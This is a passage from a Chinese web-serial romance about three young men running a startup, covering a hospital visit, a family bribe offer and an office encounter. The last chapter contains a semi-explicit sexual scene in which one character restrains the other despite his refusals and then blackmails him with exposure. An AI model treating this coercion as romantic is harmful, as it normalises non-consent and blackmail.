顾嘉致签订合同也有成就感,又开始吹嘘自己的本事,比亲爸和亲哥都要厉害。 叶临干脆鼓动他投资:“你看到梵星的发展潜力了吧,不然你也投钱,以后梵星上市,你爸妈都会对你另眼相看,比你那个亲哥厉害多了!” 顾嘉致犹豫一会儿,还是答应投钱。 叶临办完事把合同传给刘闻,又给沈邵发消息。 结果对方直接给他打电话:“溪桥路26号,快来接我。” 叶临就像是在听命令,非常不爽:“哇,你以为我是你仆人吗!” 沈邵声音虚弱,好像快死了:“梵星需要我,而且刘闻叫你过来就是帮我的。” 好吧,看在刘闻的面子上。 十分钟后,他们就到达溪桥路。 远远就看见沈邵蹲坐在地上,扶着栏杆,神情痛苦。 他穿着朴素,身上没有任何值钱物品,头发凌乱,脸色苍白,像是刚从医院里逃出来。 叶临走过去,看到他这副模样,第一反应就是放声大笑:“哈哈哈,沈邵你也有今天啊,真是活该!” 顾嘉致摸不清叶临和沈邵的关系,下意识地问:“你们什么时候结的仇?” “早就结了。”叶临绕着沈邵转圈,疯狂嘲笑:“沈邵,你不是很装吗,现在很痛吧!” 沈邵紧紧捂着肚子,额角冒出冷汗,疼得嘴唇发白,没有力气回他。 顾嘉致感觉沈邵看起来很可怜,但又不想激怒叶临,只好闭嘴。 叶临轻轻地踢了沈邵的前脚:“你怎么不叫救护车,还要给我打电话?” 沈邵抬眼看他,伸出手去抓:“我是跑出来的,不能被沈家发现,快点送我去安全的医院!” 叶临避开他的手,颇有大仇得报的快感:“那你跪求我啊,看到你这么痛就是解气,像你这种混蛋就是活该!” 顾嘉致曾经接触过沈邵,知道他待人亲和,知书达礼,是个儒雅的好人。 就算跟叶临有了过矛盾,但罪不至此。 胃病很疼,严重就会昏死过去。 顾嘉致抬手把沈邵扶起来,送进车后排,劝说:“行了,你跟他有什么仇,等他病好了再报。” 沈邵点头道谢:“多谢。” 叶临惊了,难以置信地看着顾嘉致:“你对沈邵这么好,难道你跟梁文乐一样,都暗恋他?” 顾嘉致无奈地叹息:“你别什么都往那方面想,我们只是普通朋友。 沈邵可比梁文乐正常多了,还是你的合作伙伴,顺手送医院就行,何必刻薄?” 刻薄,顾嘉致在说他刻薄? 刚刚还觉得是好兄弟,天下第一好,现在就胳膊肘往外拐,偏心沈邵这个混蛋! 顾嘉致是真蠢吧,居然看不出沈邵的恶心真面目! 叶临气得发抖,用力拍顾嘉致的肩膀痛骂:“你蠢死了,知不知道我为什么跟沈邵这个混蛋结仇?” 老实说,沈邵跟身边人关系都还可以,他是富二代里面的清流,不花天酒地,不打架斗殴,大部分时间都像个边缘人物,做不出得罪人的事。 顾嘉致无奈地应和:“为什么呢,不会因为梁文乐吧?” 沈邵也看向叶临,语气可怜地询问:“对啊叶临,我们拢共才见过两次面,还都是远远地看着,我哪里得罪你了?” 叶临沉默了。 第28章 第28章叶临是个小骗子 世界上怎么会有沈邵这种奸诈卑鄙的小人,还恬不知耻地撒谎骗人! 可他怎么能把被沈邵暗算的事情说出来,那样在顾嘉致面前就没有威严了。 大哥被骗,小弟怎么可能会继续崇拜大哥。 叶临斟酌一会儿,狠狠地剜了沈邵:“反正就是看你不爽!” 说完他就坐到副驾驶座上,用力摔门。 顾嘉致总感觉他有事瞒着自己,但现在送人去医院要紧,打算时候再盘问,现在还是坐上驾驶座开车。 沈邵抱着腹部在车后座,咬着牙忍耐疼痛,完全不会发出任何声音。 叶临时不时回头看,发觉他抖得很厉害,嘲讽道:“就是心眼太坏,所以胃不好。” 沈邵没有回答,他知道面对挑衅,保持沉默是最好的办法,否则对方会越来越起劲。 叶临觉得不过瘾,又要继续打击:“不是说自己很牛嘛,出来谈个业务还搞砸了,还是靠我才能摆平,真是没用!” 其实业务全程都是顾嘉致在谈,而他在旁边负责吃喝玩乐。功劳应该归在顾嘉致身上,但他就是能够厚脸皮地全部包揽。 顾嘉致无奈地叹气,也不好多说,专心开车。 沈邵也明白是旁边的顾嘉致谈成业务,但还是看向叶临,勉强扯出笑容夸奖:“那你很厉害了,真是感谢!” 这,这家伙真会演戏啊! 叶临终于明白,为什么他每次躺平任嘲的时候,梁文乐都会无奈。 现在沈邵就是学他的伎俩,让他无言以对。 可恶啊,沈邵这个学人精,去死好了! 沈邵又看向旁边的顾嘉致,柔声问道:“嘉致,还有多久?” 顾嘉致打着方向盘,扭头回他:“快了,就三分钟,你很难受吗?” 沈邵摇摇头:“嘉致,我没事,你好好开车,不用管我。” 顾嘉致听到这句话,还是加速。 叶临看完他们谈话的全程,真想冲到车座后排,给沈邵来几拳,让他知道人生的痛楚。 怪不得网上都说,男绿茶才是最厉害的,就会装可怜,博取其他人的同情心。 等别人不在的时候,他又会对你展现出极大的恶意。 太可恶了,男绿茶就应该去死! 叶临喜欢看香香软软的女孩子装可怜,愿意被这种女孩子欺骗,但绝对不想看见沈邵这种臭男人装可怜,恶心死了! “沈邵,你可真会装啊!明明就痛得不行,还要嘴硬。” “还说什么嘉致,恶心死了。” 这时车终于停下,门口已经有好几个医护人员推着担架在等。 是顾家的私人医院,保密性很强,提前就收到顾嘉致的消息,早早地等在这里。 车门打开,医护人员熟练地把沈邵抬上担架,动作迅速,眨眼间就送进急救室里。 叶临在旁边看着,心里不是滋味:“顾嘉致,你对沈邵可真好,都会让医护人员提前在这里等。” 顾嘉致无奈解释:“我是看他病情严重,早点准备,免得出人命。” 叶临啧了一声:“能坚持这么久,说明不是大问题。再说了,坏人活的时间比较长。” 顾嘉致总算有机会问清楚:“你和沈邵到底是怎么回事,为什么要对他抱有这么大的恶意?” 叶临敷衍两句:“没什么,就是单纯看他不爽。你不觉得他很装吗,虚伪下作!” 顾嘉致抓住他的肩膀,凑近眼睛,几乎要碰到额头:“我感觉你有事在瞒着我,还是跟沈邵有关的。” 叶临想偏头避开他的目光,又被移回去,被迫直视。 顾嘉致的手上用力,沉声道:“果然是跟梁文乐有关。你怕梁文乐还念着沈邵,对自己的位置产生威胁,所以疯狂针对沈邵。” 叶临怕被他识破自己被沈邵逼迫的糗事,只好顺着他的意思说下去:“对啊,他真是贱死了,嘴上说着不喜欢文乐,还整天在文乐面前转悠,所以我说他虚伪下作!” 果然啊,叶临果然很在意梁文乐,所以把沈邵视为情敌。 圈子里谁不知道,梁文乐追了沈邵十多年,有很深的感情。 之前还说只是恋爱合约,结果转眼间梁文乐就在朋友圈官宣。 嘴上说只是想骗梁文乐的钱,其实是心里有他吧! 顾嘉致像个炸弹,瞬间就爆了:“你还说不喜欢梁文乐,不在意梁文乐,那你现在针对沈邵做什么!你就是喜欢梁文乐,才会在意沈邵!” 叶临被他吼得耳朵都快聋了,不服气地推开他,也大声质问:“那你呢,你还说跟沈邵是普通朋友关系! 谁会扶普通朋友上车,谁会心疼普通朋友疼,提前安排人手接送,谁会为了普通朋友,对自己的好朋友发脾气!” 说到这里,叶临还觉得不过瘾,学着他的语气:“就三分钟,你很难受吗?” “你们关系真好啊,他刚见面就嘉致嘉致的叫,你还说话那么温柔!沈邵是大男人,又不是小兔子,怎么你怕声音大了,吓到他!” “我没有,是你自己臆想!” “顾嘉致,我跟你说句真心话。你喜欢谁,都不能喜欢沈邵这个贱货,不然我们就绝交!” 叶临吵吵嚷嚷,拿出今天只能选他和沈邵其中之一的气势。仿佛今天不选他,就再也不见。 顾嘉致忽然觉得身心俱疲,就像是对牛弹琴,辛辛苦苦地弹很久的琴,但是牛完全听不懂。 他和叶临的关系很复杂,同时又诡异。 明明做了很多情侣该做的事情,比如同居,亲密,约会,但还是对外称呼好朋友。 同时,他嫉妒叶临在意梁文乐,嫉妒梁文乐得到叶临的宠爱,哪怕是表演出来的。 而叶临却嫉妒他关心沈邵,哪怕只是正常朋友之间的关心。 好混乱,他为什么会卷入一场漩涡? 顾嘉致感觉眼前的景物晃动得厉害,下意识地往前靠。 叶临连忙扶住他,看到他的脸色难看,瞬间就想到今天顾嘉致已经开了好几个小时的车,只好率先妥协。 “好吧,我知道你是直男,不会喜欢沈邵这种妖艳贱。货的,我们先进去休息吧。” “对了,你不要觉得我会喜欢梁文乐,这绝对不可能。还有,我可是真心拿你当朋友的。 你现在投资梵星,以后规模可比你爸大太多了,我感觉梵星以后的市值能够达到万亿呢。” “还有,你不要动不动就生气,这样伤身体” 顾嘉致没说话,只是静静地听着他的唠叨,心里很温暖。看来叶临心里是有他的,只要他展现出虚弱的一面,叶临就会慌张。 沈邵的手术很快就做好,移到病房里休养,有专人看护,身体没有大碍。 叶临没去看沈邵,就呆在顾嘉致的病房里,在旁边陪着他休息。 病房窗外是热带植物园,里面的植物奇形怪状,花朵大都艳丽,还有五彩斑斓的昆虫,看起来就像是万花筒里的世界。 叶临盯着窗户看了好一会儿,听到脚步声,扭头去看,居然是顾嘉致。 他想到什么,又猛地低头去病床上的顾嘉致,仍旧在熟睡,还没醒过来 紧接着他又去看门口的顾嘉致,反复两次,总算确认是顾柘。 顾柘的衣服大都是沉闷的黑白灰色调,经常板着脸。 他进入病房的瞬间,窗外的热带植物园暗淡下来,像是一夜枯萎,毫无生机。 就是只会带来坏消息和死意的修罗,晦气可怕。 叶临尽量不去看他,只是故作冷静地问:“你怎么来了?” 顾柘走到他跟前,低声道:“出来说。” 叶临下意识就站起来,关上门,跟着他到了走廊*外面。 他也不知道自己为什么会听话,可能是怕吵到顾嘉致睡觉吧。 走廊没人,静悄悄的,像是鬼电影里的场景。 顾柘没有废话,开门见山:“顾嘉致几个小时前跟家里要了九千万说是要投资,爸妈担心,就让我过来看看,果然跟你有关。” 叶临听到金钱数目,有一秒钟在心疼顾嘉致。 虽然顾嘉致平时看起来很有钱,但只是拿九千万就需要告知父母,哪里像梁文乐,随随便便就能拿出来。 看得出来,顾柘怀疑他在欺骗自己的弟弟,所以亲自找过来,要求他解释清楚。 其实一开始也不需要九千万,谁知道顾嘉致一口气就要投资这么多? 现在好了,他亲哥肯定以为他在诈。骗。 叶临无奈地摆手:“就是投资啊,我给顾嘉致介绍了一个很好的项目,现在投资九千万,后面能拿到几个亿的分红呢。” 顾柘明显不信:“且不说梵星的规模小,不至于投资九千万,单说利润,你怎么有把握能翻到几个亿?” 叶临说不出话,他总不能告诉顾柘,其实自己是穿书的,知道事情的发展顺序吧,那样没有人会信的。 顾柘得不到满意的回答,毫不留情地给他的行为下了定义:“你在骗他。” 叶临被他盯得发毛,语气都急躁了:“我,我骗他什么,钱吗?你们顾家这么有钱,九千万应该不算多吧!” 顾柘见过很多像叶临这样姿色优越,心怀不轨的小男生,无一例外都是为了骗钱。 如果只是金钱,那到一定数目,他就会出面阻止。可是前段时间弟弟疯狂借酒消愁,分明是动真心了。 “现在是九千万,以后只会更多。更何况,你已经骗了梁文乐,就不应该再来找嘉致。” “哇,你真是把我看扁了!我是真心想带嘉致赚钱,绝对没有想要欺骗他的意思。” “哦,是吗?让他投资一个毫无根基的初创公司,我看你是想摆骗局。” “跟你这种多疑的人说不清楚,你自己不会查梵星吗?明明就是认真经营的公司,不是骗人的皮包公司!” “但是我觉得你这个人信不过。” 自从上次在厕所遇到叶临,顾柘就知道面前这个人是个玩弄感情的骗子。明面上是梁文乐的男朋友,背地里还要吊着他弟弟,道德败坏,贪婪自私。 叶临不想跟顾柘争辩,朝着病房里大喊:“顾嘉致,你哥哥非要说我骗你,你自己出来跟他说啊!” 顾柘没想到他会突然出声,立即捂住他的嘴,按住乱动的双手,低声警告:“闭嘴!” 叶临偏不,他张嘴还想喊,却被捂得更紧。 几乎要窒息了,脸颊浮现出红晕,眼睛里有了湿意,睫毛微颤。 顾柘能够感觉到手心里的温热柔软,就像是那天忽然冲上来的吻,肆意缠绵,还有淡淡的水果香味。 叶临还在挣扎,直勾勾地盯着顾柘,眼睛里既有恨意,又有畏惧,外加不服气。 情绪多变,神情鲜活灵动,就像是在森林里生气乱跳的小鹿。 顾柘的目光不由得被吸引,死死地钉在叶临那张脸上。 实在是太小了,轻易就会被遮住,明明看起来很脆弱,眼神却非常凶狠。 就像是受伤的幼虎,张牙舞爪地要报复猎人。 他不由得看久了一会儿,都没注意到顾嘉致打开门。 顾嘉致看到叶临的脸颊全红了,眼睛里有泪花在闪烁,而顾柘的眼神粘在那张脸上,立即冲上前拽开顾柘的手。 “顾柘你有病吧,干嘛捂着他!” “咳咳咳咳!” 叶临弯着腰咳嗽起来,嘴角还挂着涎水,脸上的红热还没褪去,呼吸不匀,是被欺负惨了。 顾嘉致轻轻地帮他拍背顺气,心疼得厉害,还亲手用纸巾帮忙擦拭。 顾柘看着叶临,瞳孔皱缩一瞬,像是鹰窥视到猎物的存在,没有说话。 叶临躲到顾嘉致身后,立即抓住他的胳膊,可怜兮兮地抱怨:“你哥怀疑我骗你九千万,还带坏你,刚刚一直在凶我,还想打我!” 顾嘉致看向这个双胞胎哥哥,厉声道:“叶临没骗我,是我自愿。还有,九千万而已,你平时跟爸妈要的钱比我多多了,他们从来不过问。我一要就问,是只管我是吧!” 顾柘冷冷道:“我要钱是帮顾家升级资产,长远发展,你能做出什么?我看大学毕业证都不一定能拿到吧,还要白送给这个骗子。” 从来都是这样,顾柘跟他是同岁,但总是以长辈的姿态跟他说话,要管着他,教训他,自诩聪明绝顶。 顾嘉致握紧拳头:“滚,我现在不想打你!” 顾柘无奈地摇头:“你什么时候是我的对手,动手啊,我保证这次你可以住够一个月的院。” 叶临听到顾柘的语气,瞬间就想到小说里大反派的可怕手段,连忙握紧顾嘉致的手臂劝说:“行了行了,解开误会就好,你别跟他打了。” 顾柘的眼神犀利,总能捕捉到叶临的心思:“看吧,这个小骗子也不相信你能打得过我,还怕你被我折磨,有点眼力见。” 叶临有了顾嘉致在旁边,都敢直起脖子大声反驳:“我才不是小骗子,你不要乱污蔑人!” 顾柘将他上下打量一番:“哦,那你可是梁文乐的正牌男友,我弟弟就是你的情人喽?” 叶临摇摇头:“不是,嘉致是我最好的朋友,你不要胡说八道。” 顾柘终于笑出声来,肩膀微耸,笑的幅度很大,但是只会让人感觉胆寒:“哈哈哈,嘉致,你听到没有,你是他睡。过的好朋友。” 顾嘉致一直想麻痹自己,忽略掉叶临只把他当成朋友的事实,但是此刻又被亲哥提起来,顿时心如刀绞,同时还有股怒火冲上来,快把他冲昏了。 叶临也感觉到顾嘉致的气场不对劲,连忙修饰:“就是感情非常好的朋友了,比起梁文乐,我更看重顾嘉致。” 顾柘继续嘲讽:“那当然,人都说家花哪有野花香,情人当然要比正牌男友有趣。让我猜猜,你为什么不跟嘉致谈? 因为你嫌弃嘉致,比不上梁文乐有钱,就连九千万都得问家里人要,没有经济自由吧。” 他只是简单的调查,再观察叶临的神情,就能够得到准确的答案。 叶临心里那点小九九很好猜,也就他的蠢弟弟不知道了。 叶临被说中心思,心情紧张,连忙抓着顾嘉致的手臂解释:“我,我才没有看不起嘉致。 我只是觉得,嘉致是我的好朋友,我不能骗好朋友的钱,所以骗梁文乐的。” 顾柘点点头:“我现在可以告诉梁文乐,你是为了骗钱,你猜他会怎么对你?” 叶临连忙求:“别啊,我,我又没有得罪你。” 顾柘拿出一张支票递给他:“这里有一个亿,你拿走。嘉致的九千万也送给你了,你们从此断了,以后不要再跟他有来往。你的事情,我保证不跟梁文乐说。” 叶临忽然有种谈上豪门男友,被迫甩钱要求分手的错觉。 虽然说一个亿很有诱惑,但顾嘉致知道他的魅魔饥饿值,还是他的好朋友啊。 他只好忍痛推开支票,眼神坚定地回答:“我,我才不会为了一个亿放弃顾嘉致。” 顾柘的语气加重:“八个亿呢?” 叶临听到这个数字,大脑都短暂地宕机了。 那可是八个亿啊,梁文乐都不一定能轻松拿出这笔钱,顾柘就像是在说八块钱一样。 壕无人性啊! 顾柘不打算真给钱,只是想让叶临心动,于是继续加码:“十二个亿,但你得保证这辈子都不能见顾嘉致。” 就像是有座金山砸下来,快被砸晕了。 人站在走廊,但已经化作浮云在天上飘了。 叶临的手指都在发抖,不敢相信自己的耳朵。 顾嘉致没有说话,只是酝酿着情绪,他还在想顾柘的话。 顾柘见他开始动摇,继续催促:“快点,五分钟后就没有这个价了。” 叶临张了张嘴,很想答应拿下这笔钱。 但他回忆起这段时间跟顾嘉致相处的点点滴滴,以及他的致命弱点魅魔饥饿值,顿时舍不得。 以后他可是身价万亿的首富啊,怎么能为了点蝇头小利放弃好朋友。 再说了,没有顾嘉致在身边,他真的很怕被顾柘暗算。 思来想去,他还是选择继续坚持:“不要!别说12个亿,哪怕你现在用百亿,千亿来换,我都不会放弃顾嘉致。 很可惜,如果你是梁文乐的哥哥,我就拿下这12亿了。” 顾嘉致和顾柘同时瞪大了眼睛,难以置信地看着他。 尤其是顾柘,还不死心地再问一遍:“你确定?” 叶临挽紧顾嘉致的手臂,斩荆截铁:“确定,我觉得你这样很侮辱人。作为嘉致的亲哥,你已经得到了父母无尽的偏爱。 你应该尊重他,弥补他,而不是在这里干扰他交友,赶走他最好的朋友。” 顾嘉致本来还在纠结朋友和男友之间的差距,可是听到叶临的这番话,就像是在黑暗中迷茫前行,忽然看到看到一束光。 靠近光源就感觉到温暖,就像是明媚的太阳。 是的,他一直都觉得爸妈偏爱哥哥,但没有人会像叶临这样说出来,更没有人会坚定地站在他这边。 还以为叶临就是个贪财的笨蛋,没想到面对12个亿的诱惑,也能坚定选择他。 既然如此,现在什么都不重要了。 顾嘉致突然朝着顾柘踹了一脚:“给我滚,我再也不想看见你!” 顾柘及时后退避开,着急道:“漂亮话谁不说,关键还是实际行动!顾嘉致你动动脑子想,他就是在骗你,现在不需要12个亿,是因为吊着你可以得到更多钱!” 顾嘉致拿起旁边的花盆,朝着顾柘砸过去:“谁要你管我了,跟有病似的!你一口气就能拿出12亿,我就花九千万而已,很合理好吧!” 顾柘见劝说无效,又不忍心看弟弟被骗,只好放狠话:“好,从现在开始,你所有的卡都会冻结。你就等着看吧,这个骗子肯定会离你远去!” 顾嘉致不甘示弱:“你以为我这样就怕了,我告诉你,我要证明爸妈都是瞎的,我远比你厉害!” 说完,他又开始砸东西。 顾柘见弟弟不可救药,只好先离开,反正他才不信弟弟没钱后,小骗子还能久待。 叶临在旁边看着,愤愤不平:“好过分,凭什么顾家所有资源都给你哥哥,还要你哥哥行驶父亲的权利!” 顾嘉致的神情失落:“所以我从初中就住在外面,不想回去。反正,他们的目光只会在顾柘身上。” 叶临于心不忍,抱住顾嘉致,低声安慰:“你放心好了,你以后肯定会比顾柘厉害,到时候狠狠打脸!” 顾嘉致的心柔软成一团,不放心地再问:“那我现在没钱了,你还不走?” 叶临特别有义气地拍拍他的肩膀:“拜托,我从来不图你的钱,只图你这个人。以后你就花我的钱吧,也算报答你刚开始的收留之恩。” 友情和爱情分得那么清做什么,只要能够呆在叶临身边就好。 而且他现在不够强大,以后厉害了,完全不需要把梁文乐放在眼里。 顾嘉致低头去吻他的额头:“放心,我还有钱,用不着你接济。” 叶临摸摸额头,埋怨道:“哎呀,你说话就说话,乱亲什么啊?” 顾嘉致被他逗笑了,学着梁文乐的样子牵住他的手:“沈邵应该醒了,我们去看看他。” 其实叶临真不想去看,但这关乎梵星的发展,还是走过去。 洁白的病房里放着一瓶勿忘我,正靠着窗边,开得格外热烈,像是蓝色的群星。 床边的沙发上是柔软的皮质,呈现出墨绿色,面前摆着六瓣花形的乳白色茶几,上面堆积五六本书。 沈邵还坐在病床上,手里捧着书看,听见动静,抬头跟顾嘉致打招呼。 叶临在沙发坐下来,随意翻动桌上的书,发现都是看不懂的英文,忍不住吐槽:“咦,你看得懂吗?” 沈邵合上书本,放在旁边的柜子,微笑回答:“当然,你手里那本就是说,有个男人经常疑神疑鬼,还喜欢贬低邻居,结果就被邻居枪杀了。” 叶临想到顾柘在原著打中主角的心肺,差点就害死主角,吓得浑身发颤,连忙放下书,骂了一句,“无聊的故事!” 顾嘉致在旁边坐下来,哄他故事是假的,接着问起沈邵的事情。 原来,沈邵的父亲听说他跑来投资梵星,就半路使绊子。 先是给合作商施压,不许合作商跟沈邵见面,再持续打电话轰炸沈邵,进行说教。 沈邵不听,就亲自找去合作商的家里,结果半路就被沈家劫走,带去附近的别墅关起来,还没收手机。 为了离开别墅,沈邵受了很多伤。 好不容易跑出来,还犯了胃病,只好借路人的手机打电话。 顾嘉致听完他的经历唏嘘不已,联想到自己也是得不到家里的支持,还安慰他。 叶临倒是无所谓,反而直接了当地问:“那你要离开梵星吗,现在沈家可不让你加入。” 沈邵犹豫不决。 叶临气愤拍桌:“其实很简单,要买你退出梵星,沈家就不会影响梵星;要么你就退出沈家,专心做梵星的业务,跟沈家硬刚到底。 我可不想梵星被你连累,刘闻每天写代码很不容易的。” 顾嘉致在旁边拉着他:“没必要把话说得这么难听吧,沈邵也不想影响梵星,是他家里人不正常。” 叶临冷哼,偏过头去:“世界上哪有两全其美的好事,你都离开顾家了,他也得为梵星做出牺牲吧。 我反正是觉得,既然没有从0开始的觉悟,就不要创业!” 顾嘉致想了想:“梵星大都是技术人员,确实缺个管理。你经验丰富,可以胜任。” 沈邵看向墙角那瓶勿忘我,年岁很小,但也在竭尽全力地绽放,形成一道引人注目的风景。 他问:“叶临,你真的相信梵星会成功吗?” 叶临没想到这家伙会问自己,立即站起来走到他面前,信心十足地保证:“那是当然了,四个月就流水百万,三年后过亿,五年上市,八年后就市值万亿了,成为整个行业龙头。 你才是最先看好梵星的人吧,不然干嘛答应刘闻。我反正是非常看好梵星,如果你退出,我就去找别人投资,反正不缺你。” 沈邵仰头去看他,发现他逆着光,看不清脸。 这样自信骄傲,比阳光更为刺眼,比盛开的花朵更加热烈。 他忍不住想,叶临只是个上不了大学,整天混迹于娱乐场所的私生子。 没权没势,一事无成,还在靠男人才能活下去,哪里有底气说出这种话呢? “沈邵,我可跟你说了。青春只有一次,勇敢做自己喜欢的事情才不会后悔。 反正我是觉得碌碌无为,平平淡淡地度过一生再死掉,非常可悲。” 到底是什么呢? 是什么让叶临义无反顾,充满自信? 明明叶临都没有从商的经历,只是个长得有点好看的普通小男生。 但好像,他自信的神情,充满活力的身体,总能够感染周围的人。 沈邵盯久了,忽然感觉叶临整个人都在发光发热,就像人人都喜欢的太阳,忍不住靠近:“好啊,我明天就去沈氏辞职,去梵星上班。” 顾嘉致激动道:“太好了,梵星有了管理,后续的运作会更加快速!那我就负责谈合作,反正我这个人健谈,酒量还好。” 叶临愣了片刻,忍不住再确认一遍:“啊,沈邵你真决定了,不后悔?” 沈邵先是低头,再抬眼看那双琥珀色的瞳孔,郑重道:“当然不后悔。” 隔天他修养好,就辞去沈氏的工作,带着一笔资金加入梵星,招揽人才,组建公司的各个部门。 梵星这个最开始只有几个人的小公司,从此有了财务,营销,研发等等部门,开始高速运转。 顾嘉致负责对外谈合作,而沈邵对内管理,两个配合默契,带领公司蒸蒸日上。 叶临不懂开公司的细节,但会时不时带着礼物来公司,慰问员工,关心他们的工作福利,充当名义上的老板。 刚好最近附近的甜品卖得好,叶临就一次性打包全部员工的份量,带到公司发给他们。 大家都喜欢这样人性的老板,纷纷表示感谢。 叶临发完礼物,就要进办公室检查沈邵的工作情况。 他虽然看不懂,但就是想故意折磨沈邵,不许他偷懒休息。 沈邵看见他进来,若无其事地写文件。 叶临凑过去看,一个看不懂,但还是要指着文件质问:“你不会偷偷挪。用公司的钱吧?” 沈邵放下笔,仰头去看他:“那你查啊。” 叶临刚要拿起文件,就被他绊倒跌进怀里,立即大声骂起来:“艹!” 沈邵搂紧他的腰,埋进肩窝里深吸,神情放松,就跟刚抽完烟一样:“你跑进来不就是给我抱的。” 叶临用力掐他:“沈邵你瞎想什么,我进来是检查你工作的,我可是老板!” 沈邵抓住他的手,声音低沉:“那你检查检查我这里。” 叶临感觉到烫意,立即想缩回手,却被用力抓住,只好骂起来:“脑。瘫啊你,现,现在是工作时间,你不要胡来!” 沈邵理所当然:“安抚员工的情绪,是老板的职责。” 第29章 第29章这里办公室,你不要………… 这是哪门子歪理,员工领钱就应该老老实实地干活,而不是整天觊觎老板! 叶临挥手去打,却被扣紧按住,难以动弹。 沈邵太熟悉他了,总能精准地抓住弱点,在短时间内控制住他。 “沈邵,你放开我,小心我把你辞了!” “哦,把我辞退,你去哪里找这么便宜的经理?” 之前顾嘉致的九千万被顾柘劫走了,沈邵也没有多少钱。 叶临反而成了最大的投资商,因而是整个公司的大老板。 梵星这个小体量的公司,目前甚至做不到盈利,纯粹地烧钱。 沈邵这个位置,至少年薪百万,根本拿不出这么多钱另外请人。 现在也就沈邵省钱,几乎是零薪酬打工,办事效率还高,勉强忍耐。 等以后梵星发展起来,才不要沈邵这个经理,马上踹掉,换个更高级的。 叶临在心里盘算着剩余的资金,购置机器发工资,居然只剩一千万了,而且很快就要烧没。 没办法,这种科创公司初期阶段就是很容易烧钱,回本周期慢。 但好歹是小说里的大公司,投资总不会亏的。 “在想什么?”沈邵注意到他在走神,凑到耳垂,先是呼出热气,再出声询问。 “没想什么,你快放开!”叶临试着挣扎,挪动乱打。 结果就好像是坐在蒸拿室里的台子,快要被烫到。 想马上起身,又被按回去。 “这里可不是高级写字楼,隔音效果差。老板可以再大声,把外面的员工吸引进来才好。”沈邵循循善诱,手脚不老实。 这时的他,完全不像是穿着白衬衫,打格纹领带的高级精英,而是沉溺于原始快乐的低等动物。 “沈,沈邵你!”叶临确实害怕外面的员工,毕竟他对外是个威风凛凛的老板,手底下有顾嘉致和沈邵两员大将。 可大老板居然在经理的办公室被欺负,这实在是太丢人了。 要是被员工们发现,那他走出去,脸还要不要了! 叶临咬紧嘴唇,不敢发出一丝声响。 沈邵就是要让他害怕,要让他有所顾忌,心里非常得意。 他长得儒雅,外表看起来温柔好亲近,实际上本体却是歹毒的蛇蝎,专门欺负趾高气昂的笨蛋小白兔。 小白兔脾气很大,很难哄好,但总是有要害的,只要制住,就会难以动弹,任其宰割。 “艹!”叶临气愤地涨红脸,大声骂起来。 他在发抖,像是站在火焰岩浆里,哪里都被烫红了。 虽然他试图劝说火山不要再漫出岩浆,但是火山还是特立独行,非要用高温席卷他整个人。 额角冒出了细密的汗珠,明明有空调,却还是感觉要热化掉。 “梁文乐做不到我这样吧?”沈邵抬眼去他看,得意地自夸起来。 “你,你”叶临差点从椅子上滑落,连忙按住扶手才能勉强稳住。 梁文乐哪里会对他做这种事情,都是他伺候梁文乐。 所以完全没想到会是这种感觉。 怪,怪不得之前梁文乐的反应那么大,原来是这种感觉! 叶临的呼吸不匀,起伏不定,仰起头去看天花板上的灯。 居然不是精致的多层吊灯,只是简单的白炽灯。 他在梁文乐的别墅住久了,都有点不习惯这种简陋的环境。 自然界中的兔子很容易应激,一旦被吓到就会弹跳起来,怪叫一声想跑。 这里的兔子也是一样,惊叫一声想跑,可是又被邪恶的蛇卷回去,无力地充当猎物。 “沈,沈邵!”叶临说话的时候,声音都没有力度,软塌塌的,不像是问责,倒像是恳求。 “”沈邵注意到他的眼睛里有水光,非常满意,打算做更不坏的事情。 “不,不!” 果然,他刚开始行动,叶临就非常受不了,拼命抓。 “别,别”叶临还想说话,可是很快意识到自己快要忍不住声音,连忙捂住嘴,免得发出怪异的声音。 毕竟这里是办公室,外面都是敬仰他的一堆员工,可不能被发现了。 沈邵实在是恶毒,居然用这办法对付他! 叶临感觉力度都要松懈,继续用力捂住嘴,脸颊憋红,视线都逐渐模糊。 这个时候他忽然好想念顾嘉致的吻,但凡是顾嘉致,都会贴心吻他,帮他堵住所有的声音。 但这个混蛋沈邵就没有自知之明,非要折磨他,还不给出解决措施。 这个季节的睡莲最难开花了,花瓣很厚,汁。水饱满,还没完全盛开。必须要人为醒花,强行掰花瓣。 才让它慢慢地苏醒过来,成为美丽诱人的睡莲。 沈邵显然是个记忆高超的花匠,轻松就伺候好睡莲,得到了自己期盼已久的美景。 叶临还没缓过来,就感觉到沈邵靠近,连忙偏头躲开:“你,你别亲我!” 沈邵只好亲脸,无奈道:“自己的都嫌弃啊?” 叶临哼了一声,用力拧他的肉,以示发泄。 沈邵把他抱进怀里,稳稳地扶着,看着正脸问:“那梁文乐,你会嫌弃吗?” 叶临不想回答,闭上眼睛。 沈邵就故意逼他惊叫,只能睁开眼看自己。 这个时候,他又可以演戏了,眉眼紧蹙,神情悲伤,低声抱怨起来:“梁文乐是正牌男友,你肯定不会嫌弃,就知道嫌弃我。” 叶临被他的腔调恶心到,骂道:“你有病啊!” 沈邵叹息一声:“你看,就是因为我没名没分,你就骂我。要换成你男朋友,你肯定不舍得骂。” 叶临无语了,他虽然还挺满意沈邵的技术,但真的受不了他这个喜欢演戏的臭毛病。 这个家伙比他还会演,明明是自己扑上来,心甘情愿当第三者,现在还要委屈上了。 什么道理嘛! 顾嘉致真应该看看他这副面孔,就再也说不出“沈邵有大才”的话。 沈邵掐住他的下巴,眼神幽怨:“你居然走神,每个星期就今天能跟我亲密,你这样太过分了吧!” 叶临骂了一句“脑残”,偏过头去看地面。 沈邵拿出手机,翻到梁文乐的联系方式,对着叶临的脸:“你说我好,还是梁文乐好?” 叶临警觉起来,着急问:“你想做什么?” 沈邵的神情玩味,就像是在看戏:“我被你伤透了心,干脆现在就跟梁文乐坦白吧,就说你用他的钱在外面养了我,还给我开公司。” 叶临急得去抢手机,大声骂:“你敢!” 沈邵把手抬高,不让他抢过去:“那你亲我一下,说我比梁文乐好,我就不打电话过去。” 艹!这对吗,他平时要哄梁文乐,现在要哄沈邵! 不是,他比古代皇帝还累吧! 叶临无奈地低头去亲他,忍着恶心哄:“你比文乐好,好一百倍,一千倍,一万倍。乖一点,不要打电话给他。” 沈邵满意了,把手机收起来,仰头去亲,神情得意:“我就知道,你跟梁文乐在一起是逼不得已,跟我才是真爱,对不对?” 叶临无奈点点头:“对,你才是真爱。” 刚说完,他就被放在桌子上,背都磕到文件。 有些疼,皮肤完全红起来。 沈邵把文件都移动到旁边,开始处理真正的公务。 这毕竟是他的大老板,需要好好伺候,才能保住工作。 